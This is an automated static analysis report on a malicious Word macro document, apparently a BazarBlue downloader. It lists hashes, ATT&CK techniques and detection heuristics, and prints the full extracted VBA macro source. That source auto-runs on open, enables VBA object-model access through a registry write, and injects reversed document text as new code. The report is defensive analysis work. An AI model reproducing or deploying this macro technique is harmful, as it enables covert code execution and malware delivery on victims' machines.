Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af102b392bdd391f…

MALICIOUS

Office (OOXML)

47.0 KB Created: 2021-06-28 11:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 07665e73793b63f363b8b6b4cd9e9f7f SHA-1: ca43c14bf3d1d259652b8529aa36a363db91a2e2 SHA-256: af102b392bdd391f5becb7c5b471c23b992234d5e3456d63a3e65f94cc62fae3
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The `autoopen` subroutine executes `borderView`, which writes to the registry key 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM'. It then calls `countDatabaseTmp` with a reversed string derived from the document body, which appears to be a URL. This function creates a new Word document and injects the reversed string as VBA code, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.BazarBlue09212-9898946-0' further supports its downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Sub borderView()
CreateObject("wscript.shell").RegWrite refIterator, 1, "REG_DWORD"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub borderView()
CreateObject("wscript.shell").RegWrite refIterator, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub borderView()
CreateObject("wscript.shell").RegWrite refIterator, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub countDatabaseTmp(exceptionTextbox)
Set iteratorQueryReference = GetObject("", "word.application")
With iteratorQueryReference.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "genericRequest"
Sub autoopen()
borderView
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1206 bytes
SHA-256: 6357fc456be1c79df733c43f144c08560f1a70def5b46de0352d5703d350bb6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "pasteCollectionFunc"
Function databaseLeftIndex()
databaseLeftIndex = ActiveDocument.Range.Text
End Function
Sub borderView()
CreateObject("wscript.shell").RegWrite refIterator, 1, "REG_DWORD"
End Sub
Function pointerNamespaceW()
pointerNamespaceW = Mid(databaseLeftIndex, 4 / 2, 3000000)
End Function

Attribute VB_Name = "genericRequest"
Sub autoopen()
borderView
countDatabaseTmp StrReverse(pointerNamespaceW)
End Sub
Sub countDatabaseTmp(exceptionTextbox)
Set iteratorQueryReference = GetObject("", "word.application")
With iteratorQueryReference.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString exceptionTextbox
End With
iteratorQueryReference.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function refIterator()
refIterator = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 67780d896644d961b18628842b308ac26dcb0420145ffd1d3a43f9071bc24af5

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